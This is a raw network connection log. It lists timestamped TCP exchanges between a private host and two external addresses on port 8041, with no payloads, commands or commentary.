Oct 3, 2024 20:42:20.085813999 CEST	49723	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.089894056 CEST	49725	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.090663910 CEST	8041	49723	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.094934940 CEST	8041	49725	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.095027924 CEST	49725	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.095448017 CEST	49725	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.100521088 CEST	8041	49725	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.717818975 CEST	8041	49725	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.717937946 CEST	49725	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.718228102 CEST	8041	49725	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.718498945 CEST	49725	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.718528986 CEST	49725	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.718919039 CEST	49731	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.723292112 CEST	8041	49725	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.723721981 CEST	8041	49731	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.723823071 CEST	49731	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.724019051 CEST	49731	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.729212999 CEST	8041	49731	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.729285002 CEST	49731	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:22.798954010 CEST	49745	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:22.804040909 CEST	8041	49745	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:22.804151058 CEST	49745	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:22.804600000 CEST	49745	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:22.809417963 CEST	8041	49745	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:23.424285889 CEST	8041	49745	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:23.424360991 CEST	49745	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:23.424643993 CEST	8041	49745	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:23.424698114 CEST	49745	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:23.424922943 CEST	49745	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:23.425491095 CEST	49751	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:23.429699898 CEST	8041	49745	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:23.430433035 CEST	8041	49751	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:23.430516005 CEST	49751	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:23.430851936 CEST	49751	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:23.437222004 CEST	8041	49751	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:24.053459883 CEST	8041	49751	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:24.053544998 CEST	49751	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:24.053576946 CEST	8041	49751	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:24.053620100 CEST	49751	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:24.065514088 CEST	49751	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:24.066294909 CEST	49753	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:24.070318937 CEST	8041	49751	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:24.071090937 CEST	8041	49753	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:24.071156979 CEST	49753	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:24.075092077 CEST	49753	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:24.080015898 CEST	8041	49753	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:24.080065012 CEST	49753	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.126771927 CEST	49769	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.132721901 CEST	8041	49769	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:26.132818937 CEST	49769	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.133076906 CEST	49769	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.137865067 CEST	8041	49769	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:26.779593945 CEST	8041	49769	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:26.779685020 CEST	49769	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.779783010 CEST	8041	49769	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:26.779845953 CEST	49769	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.780237913 CEST	49769	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.780633926 CEST	49775	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.785073996 CEST	8041	49769	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:26.785537958 CEST	8041	49775	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:26.785636902 CEST	49775	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.788645029 CEST	49775	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:26.793632030 CEST	8041	49775	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:27.460541010 CEST	8041	49775	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:27.460719109 CEST	49775	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:27.461119890 CEST	49775	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:27.461448908 CEST	8041	49775	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:27.461520910 CEST	49775	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:27.461632013 CEST	49778	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:27.466049910 CEST	8041	49775	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:27.466510057 CEST	8041	49778	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:27.466593027 CEST	49778	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:27.466656923 CEST	49778	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:27.471947908 CEST	8041	49778	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:27.472007036 CEST	49778	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:28.522881985 CEST	49787	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:28.528014898 CEST	8041	49787	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:28.528096914 CEST	49787	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:28.528630018 CEST	49787	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:28.533555984 CEST	8041	49787	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.170537949 CEST	8041	49787	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.170618057 CEST	49787	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.170661926 CEST	8041	49787	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.170715094 CEST	49787	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.172816992 CEST	49787	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.173248053 CEST	49793	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.177737951 CEST	8041	49787	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.178162098 CEST	8041	49793	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.178241014 CEST	49793	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.208034039 CEST	49793	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.213033915 CEST	8041	49793	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.826313972 CEST	8041	49793	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.826395035 CEST	49793	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.826488018 CEST	8041	49793	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.826539040 CEST	49793	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.832487106 CEST	49793	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.835475922 CEST	49798	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.840322971 CEST	8041	49793	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.840807915 CEST	8041	49798	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.840878010 CEST	49798	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.841000080 CEST	49798	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:29.846355915 CEST	8041	49798	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:29.846417904 CEST	49798	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:33.864141941 CEST	49824	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:33.873073101 CEST	8041	49824	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:33.873158932 CEST	49824	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:33.873534918 CEST	49824	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:33.879962921 CEST	8041	49824	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:34.591407061 CEST	8041	49824	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:34.591618061 CEST	8041	49824	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:34.591681957 CEST	49824	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:34.591766119 CEST	49824	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:34.591831923 CEST	49824	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:34.592202902 CEST	49827	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:34.596709013 CEST	8041	49824	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:34.597060919 CEST	8041	49827	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:34.597131968 CEST	49827	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:34.597398996 CEST	49827	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:34.602241993 CEST	8041	49827	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:35.206974030 CEST	8041	49827	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:35.207415104 CEST	8041	49827	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:35.207493067 CEST	49827	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:35.207726955 CEST	49827	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:35.208093882 CEST	49831	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:35.212685108 CEST	8041	49827	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:35.213150024 CEST	8041	49831	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:35.213228941 CEST	49831	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:35.213320017 CEST	49831	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:35.218451023 CEST	8041	49831	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:35.218516111 CEST	49831	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.251703024 CEST	49842	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.257896900 CEST	8041	49842	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:36.257978916 CEST	49842	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.258227110 CEST	49842	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.263953924 CEST	8041	49842	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:36.876251936 CEST	8041	49842	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:36.876351118 CEST	49842	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.876368046 CEST	8041	49842	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:36.876430035 CEST	49842	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.876677036 CEST	49842	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.877145052 CEST	49844	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.882723093 CEST	8041	49842	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:36.882740974 CEST	8041	49844	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:36.882947922 CEST	49844	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.883263111 CEST	49844	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:36.888163090 CEST	8041	49844	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:37.537655115 CEST	8041	49844	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:37.537719965 CEST	49844	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.537724972 CEST	8041	49844	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:37.537791967 CEST	49844	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.538563013 CEST	49844	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.539199114 CEST	49850	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.554063082 CEST	8041	49844	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:37.554106951 CEST	8041	49850	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:37.554286003 CEST	49850	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.554353952 CEST	49850	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.561542034 CEST	8041	49850	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:37.561615944 CEST	49850	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.593503952 CEST	49851	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.603976965 CEST	8041	49851	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:37.604101896 CEST	49851	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.604496956 CEST	49851	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:37.611061096 CEST	8041	49851	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.249438047 CEST	8041	49851	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.249461889 CEST	8041	49851	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.249680996 CEST	49851	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.250111103 CEST	49851	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.255467892 CEST	8041	49851	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.266321898 CEST	49857	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.272089958 CEST	8041	49857	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.272197962 CEST	49857	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.272730112 CEST	49857	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.277744055 CEST	8041	49857	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.949831963 CEST	8041	49857	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.949856997 CEST	8041	49857	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.949929953 CEST	49857	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.950027943 CEST	49857	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.950324059 CEST	49857	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.950753927 CEST	49862	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.955177069 CEST	8041	49857	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.955674887 CEST	8041	49862	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.955766916 CEST	49862	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.955846071 CEST	49862	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.961388111 CEST	8041	49862	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:38.963011980 CEST	49862	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:38.998172045 CEST	49863	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.003777981 CEST	8041	49863	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:39.003865957 CEST	49863	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.004204988 CEST	49863	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.009314060 CEST	8041	49863	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:39.645021915 CEST	8041	49863	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:39.645152092 CEST	8041	49863	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:39.645255089 CEST	49863	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.645292044 CEST	49863	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.645637035 CEST	49863	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.646050930 CEST	49869	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.650429964 CEST	8041	49863	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:39.651047945 CEST	8041	49869	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:39.651118040 CEST	49869	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.651500940 CEST	49869	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:39.656405926 CEST	8041	49869	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:40.283513069 CEST	8041	49869	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:40.283566952 CEST	8041	49869	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:40.283680916 CEST	49869	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:40.283772945 CEST	49869	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:40.284249067 CEST	49869	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:40.284682989 CEST	49873	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:40.289113998 CEST	8041	49869	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:40.289611101 CEST	8041	49873	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:40.289686918 CEST	49873	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:40.289763927 CEST	49873	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:40.294892073 CEST	8041	49873	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:40.294965982 CEST	49873	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:40.339062929 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:40.540745020 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:40.540828943 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:40.541357040 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:40.546461105 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.202280045 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.202363968 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.203655958 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.209717035 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.209865093 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.214848995 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.483752966 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.483815908 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.483850002 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.484055996 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.484083891 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.484126091 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.484133005 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.484127045 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.484165907 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.484196901 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.484198093 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.484196901 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.484225988 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.484271049 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.484371901 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.484405041 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.484450102 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.484483004 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.488789082 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.489108086 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.489123106 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.489155054 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.489233017 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.569297075 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.569318056 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.569489002 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.576387882 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.576683998 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.576745987 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.576865911 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.576881886 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.576898098 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.576930046 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.576946020 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.577192068 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.577207088 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.577225924 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.577244043 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.577267885 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.577332973 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.577348948 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.577392101 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.578289032 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.578314066 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.578329086 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.578345060 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.578361988 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.578377962 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.578401089 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.578764915 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.578779936 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.578805923 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.578830957 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.578953028 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.578969002 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.578998089 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.579011917 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.581674099 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.581824064 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.581839085 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.581854105 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.581876040 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.581897974 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.583822012 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.583878040 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.583957911 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.583991051 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.664745092 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.664771080 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.664779902 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.664787054 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.664798021 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.664846897 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.664884090 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.664910078 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.664920092 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.664926052 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.664963961 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665128946 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665172100 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665174961 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665190935 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665230989 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665389061 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665432930 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665491104 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665507078 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665534973 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665554047 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665561914 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665591002 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665838003 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665883064 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665915012 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665930986 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.665955067 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.665970087 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666037083 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666054010 CEST	8041	49875	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:41.666080952 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666095018 CEST	49875	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:41.666412115 CEST	8041	49875	82.115.223.39	192.168.2.5
